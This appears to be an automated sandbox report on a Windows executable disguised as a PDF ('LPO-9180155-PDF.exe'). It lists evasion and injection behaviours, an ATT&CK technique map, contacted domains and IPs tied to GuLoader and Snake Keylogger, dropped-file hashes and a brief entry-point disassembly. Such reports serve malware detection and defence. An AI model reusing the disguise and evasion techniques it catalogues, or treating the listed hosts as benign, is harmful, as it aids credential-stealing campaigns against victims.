Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior | ||
Source: | Thread delayed: | Jump to behavior |
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Source: | API call chain: | graph_0-3516 | ||
Source: | API call chain: | graph_0-3515 |
Source: | Process information queried: | Jump to behavior |
Anti Debugging |
---|
Source: | Thread information set: | Jump to behavior | ||
Source: | Thread information set: | Jump to behavior |
Source: | Process queried: | Jump to behavior |
Source: | Code function: | 6_2_004062BE |
Source: | Code function: | 0_2_00406252 |
Source: | Process token adjusted: | Jump to behavior | ||
Source: | Process token adjusted: | Jump to behavior |
Source: | Memory allocated: | Jump to behavior |
HIPS / PFW / Operating System Protection Evasion |
---|
Source: | Memory written: | Jump to behavior | ||
Source: | Memory written: | Jump to behavior |
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior | ||
Source: | Process created: | Jump to behavior |
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior |
Source: | Code function: | 0_2_00405F0A |
Source: | Key value queried: | Jump to behavior |
Stealing of Sensitive Information |
---|
Source: | File source: | ||
Source: | File source: |
Remote Access Functionality |
---|
Source: | File source: | ||
Source: | File source: |
Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | 1 Windows Management Instrumentation | 1 DLL Side-Loading | 111 Process Injection | 1 Masquerading | OS Credential Dumping | 311 Security Software Discovery | Remote Services | 1 Archive Collected Data | 11 Encrypted Channel | Exfiltration Over Other Network Medium | 1 System Shutdown/Reboot |
Credentials | Domains | Default Accounts | 1 Native API | Boot or Logon Initialization Scripts | 1 DLL Side-Loading | 1 Disable or Modify Tools | LSASS Memory | 1 Process Discovery | Remote Desktop Protocol | 1 Clipboard Data | 1 Ingress Tool Transfer | Exfiltration Over Bluetooth | Network Denial of Service |
Email Addresses | DNS Server | Domain Accounts | 2 PowerShell | Logon Script (Windows) | Logon Script (Windows) | 141 Virtualization/Sandbox Evasion | Security Account Manager | 141 Virtualization/Sandbox Evasion | SMB/Windows Admin Shares | Data from Network Shared Drive | 2 Non-Application Layer Protocol | Automated Exfiltration | Data Encrypted for Impact |
Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | 111 Process Injection | NTDS | 1 Application Window Discovery | Distributed Component Object Model | Input Capture | 13 Application Layer Protocol | Traffic Duplication | Data Destruction |
Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | 1 Obfuscated Files or Information | LSA Secrets | 1 System Network Configuration Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | 1 Software Packing | Cached Domain Credentials | 3 File and Directory Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
DNS | Web Services | External Remote Services | Systemd Timers | Startup Items | Startup Items | 1 DLL Side-Loading | DCSync | 115 System Information Discovery | Windows Remote Management | Web Portal Capture | Commonly Used Port | Exfiltration Over C2 Channel | Inhibit System Recovery |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
34% | ReversingLabs | Win32.Trojan.Generic |
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
34% | ReversingLabs | Win32.Trojan.Generic |
Source | Detection | Scanner | Label | Link |
---|---|---|---|---|
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | Avira URL Cloud | safe | ||
0% | Avira URL Cloud | safe | ||
0% | Avira URL Cloud | safe | ||
0% | Avira URL Cloud | safe | ||
0% | Avira URL Cloud | safe |
Name | IP | Active | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|---|
www.reap.skyestates.com.mt | 108.167.181.251 | true | false | unknown | |
reallyfreegeoip.org | 188.114.97.3 | true | true | unknown | |
checkip.dyndns.com | 132.226.247.73 | true | false | unknown | |
checkip.dyndns.org | unknown | unknown | true | unknown |
Name | Malicious | Antivirus Detection | Reputation |
---|---|---|---|
false |
| unknown | |
false |
| unknown | |
false |
| unknown |
Name | Source | Malicious | Antivirus Detection | Reputation |
---|---|---|---|---|
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown | ||
false |
| unknown |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
---|---|---|---|---|---|---|
188.114.97.3 | reallyfreegeoip.org | European Union | 13335 | CLOUDFLARENETUS | true | |
108.167.181.251 | www.reap.skyestates.com.mt | United States | 46606 | UNIFIEDLAYER-AS-1US | false | |
132.226.247.73 | checkip.dyndns.com | United States | 16989 | UTMEMUS | false |
Joe Sandbox version: | 40.0.0 Tourmaline |
Analysis ID: | 1481498 |
Start date and time: | 2024-07-25 10:12:13 +02:00 |
Joe Sandbox product: | CloudBasic |
Overall analysis duration: | 0h 7m 38s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
Number of analysed new started processes analysed: | 10 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
|
Analysis Mode: | default |
Analysis stop reason: | Timeout |
Sample name: | LPO-9180155-PDF.exe |
Detection: | MAL |
Classification: | mal100.troj.evad.winEXE@11/12@3/3 |
EGA Information: |
|
HCA Information: |
|
Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
- Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
- Execution Graph export aborted for target Forbundsstater.exe, PID 7032 because it is empty
- Execution Graph export aborted for target powershell.exe, PID 1864 because it is empty
- Not all processes where analyzed, report is missing behavior information
- Report size getting too big, too many NtOpenKeyEx calls found.
- Report size getting too big, too many NtProtectVirtualMemory calls found.
- Report size getting too big, too many NtQueryValueKey calls found.
- Report size getting too big, too many NtReadVirtualMemory calls found.
- Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
- VT rate limit hit for: LPO-9180155-PDF.exe
Time | Type | Description |
---|---|---|
04:13:04 | API Interceptor | |
04:13:55 | API Interceptor |
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
188.114.97.3 | Get hash | malicious | Azorult, GuLoader | Browse |
| |
Get hash | malicious | Azorult | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | HTMLPhisher | Browse |
| ||
Get hash | malicious | Remcos | Browse |
| ||
Get hash | malicious | FormBook | Browse |
| ||
Get hash | malicious | Remcos | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
108.167.181.251 | Get hash | malicious | Azorult, GuLoader | Browse | ||
Get hash | malicious | Azorult | Browse | |||
Get hash | malicious | Azorult, GuLoader | Browse | |||
Get hash | malicious | GuLoader, Snake Keylogger | Browse | |||
Get hash | malicious | GuLoader, Snake Keylogger | Browse | |||
Get hash | malicious | Azorult, GuLoader | Browse | |||
Get hash | malicious | FormBook, GuLoader | Browse | |||
Get hash | malicious | Azorult, GuLoader | Browse | |||
Get hash | malicious | Azorult, GuLoader | Browse | |||
Get hash | malicious | GuLoader, Snake Keylogger | Browse | |||
132.226.247.73 | Get hash | malicious | Snake Keylogger | Browse |
| |
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | DarkTortilla, Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
|
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
reallyfreegeoip.org | Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| |
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | PureLog Stealer, Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
checkip.dyndns.com | Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| |
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | PureLog Stealer, Snake Keylogger, VIP Keylogger | Browse |
| ||
www.reap.skyestates.com.mt | Get hash | malicious | Azorult, GuLoader | Browse |
| |
Get hash | malicious | Azorult | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | FormBook, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
|
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
UNIFIEDLAYER-AS-1US | Get hash | malicious | Azorult, GuLoader | Browse |
| |
Get hash | malicious | Azorult | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | FormBook, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | AgentTesla | Browse |
| ||
CLOUDFLARENETUS | Get hash | malicious | Azorult, GuLoader | Browse |
| |
Get hash | malicious | Azorult | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
UTMEMUS | Get hash | malicious | Snake Keylogger | Browse |
| |
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | DarkTortilla, Snake Keylogger | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
|
Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
---|---|---|---|---|---|---|
54328bd36c14bd82ddaa0c04b25ed9ad | Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| |
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | Unknown | Browse |
| ||
Get hash | malicious | PureLog Stealer | Browse |
| ||
Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
Get hash | malicious | Lokibot | Browse |
| ||
Get hash | malicious | Snake Keylogger | Browse |
| ||
37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | FormBook, GuLoader | Browse |
| |
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | Azorult | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | GuLoader, Snake Keylogger | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | FormBook, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
| ||
Get hash | malicious | Azorult, GuLoader | Browse |
|
Process: | C:\Users\user\AppData\Local\Temp\Forbundsstater.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1039 |
Entropy (8bit): | 5.353332853270839 |
Encrypted: | false |
SSDEEP: | 24:ML9E4KiE4Ko84qXKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKiHKoviYHKh3oPtHo6hAHKzeR |
MD5: | A4AF0F36EC4E0C69DC0F860C891E8BBE |
SHA1: | 28DD81A1EDDF71CBCBF86DA986E047279EF097CD |
SHA-256: | B038D4342E4DD96217BD90CFE32581FCCB381C5C2E6FF257CD32854F840D1FDE |
SHA-512: | A675D3E9DB5BDD325A22E82C6BCDBD5409D7A34453DAAEB0E37206BE982C388547E1BDF22DC70393C69D0CE55635E2364502572C3AD2E6753A56A5C3893F6D69 |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | modified |
Size (bytes): | 8003 |
Entropy (8bit): | 4.840877972214509 |
Encrypted: | false |
SSDEEP: | 192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J |
MD5: | 106D01F562D751E62B702803895E93E0 |
SHA1: | CBF19C2392BDFA8C2209F8534616CCA08EE01A92 |
SHA-256: | 6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D |
SHA-512: | 81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872 |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 878240 |
Entropy (8bit): | 7.621504485226266 |
Encrypted: | false |
SSDEEP: | 24576:VYDoeMwkejuoLDlwnyGUew8Sfte+H8Hyr2pUTY:udMErL2n77SfXUyAuY |
MD5: | 3755CE1468A267B6E1084C8069B54A8C |
SHA1: | 5473FB79E1D8D4089A62A8E5FD120068AAC6BE59 |
SHA-256: | 37F65665252E8B5CC41B3A3A8E2C539141F24F347A86332415A4E1AF69D5BC0C |
SHA-512: | EE4E033434D63EC2EE237518ED559BCA014124E06D280634BBE135E49D5FEB018809E0FD473CDD8DD07E0C389C7339E96B1CAD755024E7C144F89F0037ECF5A4 |
Malicious: | true |
Antivirus: |
|
Reputation: | low |
Preview: |
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 26 |
Entropy (8bit): | 3.95006375643621 |
Encrypted: | false |
SSDEEP: | 3:ggPYV:rPYV |
MD5: | 187F488E27DB4AF347237FE461A079AD |
SHA1: | 6693BA299EC1881249D59262276A0D2CB21F8E64 |
SHA-256: | 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309 |
SHA-512: | 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E |
Malicious: | true |
Reputation: | high, very likely benign file |
Preview: |
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 60 |
Entropy (8bit): | 4.038920595031593 |
Encrypted: | false |
SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
Malicious: | false |
Preview: |
Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 60 |
Entropy (8bit): | 4.038920595031593 |
Encrypted: | false |
SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\LPO-9180155-PDF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 75344 |
Entropy (8bit): | 5.180747046238619 |
Encrypted: | false |
SSDEEP: | 1536:GsVx5h1638i5Ufshy/AFKJxattrAUf6chbFSfH4qH3iRX3aiowgjZ/BCTn:GsZ6MAishrFMatqUygZS5ygiEZAn |
MD5: | 9F2489A5F9DC4C48B682BCDA3585B928 |
SHA1: | 096CD33FCEF7E89D24E1DC2DF261E9475B31177B |
SHA-256: | 09D6EED4F8921E3CF4DB895B765E7B563EC47DA63C6A52311FD38C485C388086 |
SHA-512: | 84798F22C300E39D2659824F07382B90C2FAA53AB240825D9273F3751D3CBA99A327DB31FCBFF1A53B12E927D4462FA38755584349E5B953000BA80B57B25CAB |
Malicious: | true |
Preview: |
Process: | C:\Users\user\Desktop\LPO-9180155-PDF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 352628 |
Entropy (8bit): | 7.601589511227122 |
Encrypted: | false |
SSDEEP: | 6144:vZwllI1G3HyW1BUbtnbO0fReIzgBib+imn5rRt:villIgiWsOAeIMUb1mnR/ |
MD5: | 56B97401E31E4C87A0C91F82D51C8707 |
SHA1: | 8C1BE66A8B6F75ECC61A9A7B5F502B3E5DFD0AFA |
SHA-256: | 73FEB40E0940E438A217312631438CF6A68BB5486729681AC2F6C03F71594E4F |
SHA-512: | CF28C7DF9999645BC0B60287AE950CF0A5220A60FEC2B50D1D50F070731525198D3E4E5CDC62E884A04E5E991921C16DF5152E265199A988AD574591DB95C070 |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\LPO-9180155-PDF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 629448 |
Entropy (8bit): | 1.257234589035216 |
Encrypted: | false |
SSDEEP: | 1536:LD3CLXCvTm3+3JOgkFWZfcDkZLwWIE4pzswWg95LDsRgtlVkIRh:X3US6uZOgk2fcJl5FWy5LDEQlK0 |
MD5: | B9E5947712FA407B58A8527B52CE050E |
SHA1: | 9FD16F2F3569FF478C591E16A03EF65F7D63E57E |
SHA-256: | 30B60EB19A5E7A32DAB61A17C1BCA485D8040EE9488024AA031C0190A7DCB510 |
SHA-512: | BBCF1AC518547982928276E01EA61C26600A426EBD57928A82801F5ACBD8E2047359AC1CB41DEB0898CFB5D10BAA419C782C910830517C3F44F555963D6EEB9D |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\LPO-9180155-PDF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 221081 |
Entropy (8bit): | 1.2406328235167285 |
Encrypted: | false |
SSDEEP: | 768:+sNmrp+QYzgwtqzOh8mcMPPy14oMvFzm8w/Y8vnLXWY8UBiBXVO3FzxrFUHItn4x:Y9A/S50ytu8voKwH |
MD5: | D0A61E12A7A27A4B719AB0C4B9F57B88 |
SHA1: | 55A349C760BA7AF05C54934924E2C0289BB3FF24 |
SHA-256: | 243221C7BE40D55E82FDF162332959F85DF94CAF3EC8BC550EEE0DE0FC814A64 |
SHA-512: | 3F117A4C26DDC7200AF9A79E8965F4396D175B368FF372BC7210929B15BA43B56EF68C6870F914638EC49ADF18CB553DF4492F583485ECC954C0238CC1405670 |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\LPO-9180155-PDF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 440 |
Entropy (8bit): | 4.2802377004664205 |
Encrypted: | false |
SSDEEP: | 12:QEUc9mHApTzMcC94e7q6hDwyK2Xkj9rKZaq:l9JTMp7AyKykBrk |
MD5: | 9524154CFD936F21394F74D000856732 |
SHA1: | 3A45FE1B1EAAE9A1CAF11CA59FEBA1B3DE8E0CA3 |
SHA-256: | 8EE6AE6BD6F5AF379B359A0CDD7721AEAEE0989C4B61431F2EAB1240FBBA56A2 |
SHA-512: | 4DA2F73D1D6F027B9C939785F63D6F75477F978AB7F8532D8395D5C5C346397E1E4B090CC815AA5F75E2629F81C1FD64B7246266331DBB26D3B0075CE4579250 |
Malicious: | false |
Preview: |
Process: | C:\Users\user\Desktop\LPO-9180155-PDF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1288671 |
Entropy (8bit): | 3.9397977794903127 |
Encrypted: | false |
SSDEEP: | 12288:LillIgiWsOAeIMUb1mnRO0B7Lj65Cact5v:LilfiaAeI9b1mnRO0FLO4v |
MD5: | 3AE0E367F5FBC6ED925B6BC2F265CD55 |
SHA1: | 81750529B76D271E379E4488439DB74926D78769 |
SHA-256: | 35B1A218BA373F0AB164E400BAF04F40BDE34B6D85B10832BD7473F98EF093BC |
SHA-512: | 1845220BB6F9F4FE1799D2CE1BDE810F3CCA9ACC60659D0042C2882FB064DDD463DA46E69A2CFE46E2F9A854F09882B8FE8763F07FBDFD1F800EB3E6FAFF1319 |
Malicious: | false |
Preview: |
File type: | |
Entropy (8bit): | 7.621504485226266 |
TrID: |
|
File name: | LPO-9180155-PDF.exe |
File size: | 878'240 bytes |
MD5: | 3755ce1468a267b6e1084c8069b54a8c |
SHA1: | 5473fb79e1d8d4089a62a8e5fd120068aac6be59 |
SHA256: | 37f65665252e8b5cc41b3a3a8e2c539141f24f347a86332415a4e1af69d5bc0c |
SHA512: | ee4e033434d63ec2ee237518ed559bca014124e06d280634bbe135e49d5feb018809e0fd473cdd8dd07e0c389c7339e96b1cad755024e7c144f89f0037ecf5a4 |
SSDEEP: | 24576:VYDoeMwkejuoLDlwnyGUew8Sfte+H8Hyr2pUTY:udMErL2n77SfXUyAuY |
TLSH: | A315124572A2D990D8044E341607DB8ACFB2AE302E51EA973795B36FDF336C17A06397 |
File Content Preview: | MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.*ju.*ju.*j..ujw.*ju.+j..*j..wjd.*j!..j..*j..,jt.*jRichu.*j........PE..L....f.R.................`...*......X3.......p....@ |
Icon Hash: | 293cc0c898b02800 |
Entrypoint: | 0x403358 |
Entrypoint Section: | .text |
Digitally signed: | true |
Imagebase: | 0x400000 |
Subsystem: | windows gui |
Image File Characteristics: | RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE |
DLL Characteristics: | TERMINAL_SERVER_AWARE |
Time Stamp: | 0x52BA66B2 [Wed Dec 25 05:01:38 2013 UTC] |
TLS Callbacks: | |
CLR (.Net) Version: | |
OS Version Major: | 4 |
OS Version Minor: | 0 |
File Version Major: | 4 |
File Version Minor: | 0 |
Subsystem Version Major: | 4 |
Subsystem Version Minor: | 0 |
Import Hash: | e221f4f7d36469d53810a4b5f9fc8966 |
Signature Valid: | false |
Signature Issuer: | CN="Frotteredes kampevnes ", O=Modemer, L=Paris 08, S=\xcele-de-France, C=FR |
Signature Validation Error: | A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider |
Error Number: | -2146762487 |
Not Before, Not After |
|
Subject Chain |
|
Version: | 3 |
Thumbprint MD5: | 737D86814BEB720E85B27394B61A90C9 |
Thumbprint SHA-1: | 7D1ACAD7FCAE22D705668532FF5C60798305C558 |
Thumbprint SHA-256: | E10B0B713A976A4B51A2E3B3BA657097A04BFC2671A3707BB0D07444CF436A8F |
Serial: | 70ED4E79F70550682878F98B0AB23E3E807FBDFE |
Instruction |
---|
sub esp, 000002D4h |
push ebx |
push ebp |
push esi |
push edi |
push 00000020h |
xor ebp, ebp |
pop esi |
mov dword ptr [esp+14h], ebp |
mov dword ptr [esp+10h], 00409230h |
mov dword ptr [esp+1Ch], ebp |
call dword ptr [00407034h] |
push 00008001h |
call dword ptr [004070BCh] |
push ebp |
call dword ptr [004072ACh] |
push 00000008h |
mov dword ptr [00429298h], eax |
call 00007FE1C087A6ACh |
mov dword ptr [004291E4h], eax |
push ebp |
lea eax, dword ptr [esp+34h] |
push 000002B4h |
push eax |
push ebp |
push 00420690h |
call dword ptr [0040717Ch] |
push 0040937Ch |
push 004281E0h |
call 00007FE1C087A317h |
call dword ptr [00407134h] |
mov ebx, 00434000h |
push eax |
push ebx |
call 00007FE1C087A305h |
push ebp |
call dword ptr [0040710Ch] |
cmp word ptr [00434000h], 0022h |
mov dword ptr [004291E0h], eax |
mov eax, ebx |
jne 00007FE1C08777FAh |
push 00000022h |
mov eax, 00434002h |
pop esi |
push esi |
push eax |
call 00007FE1C0879D56h |
push eax |
call dword ptr [00407240h] |
mov dword ptr [esp+18h], eax |
jmp 00007FE1C08778BEh |
push 00000020h |
pop edx |
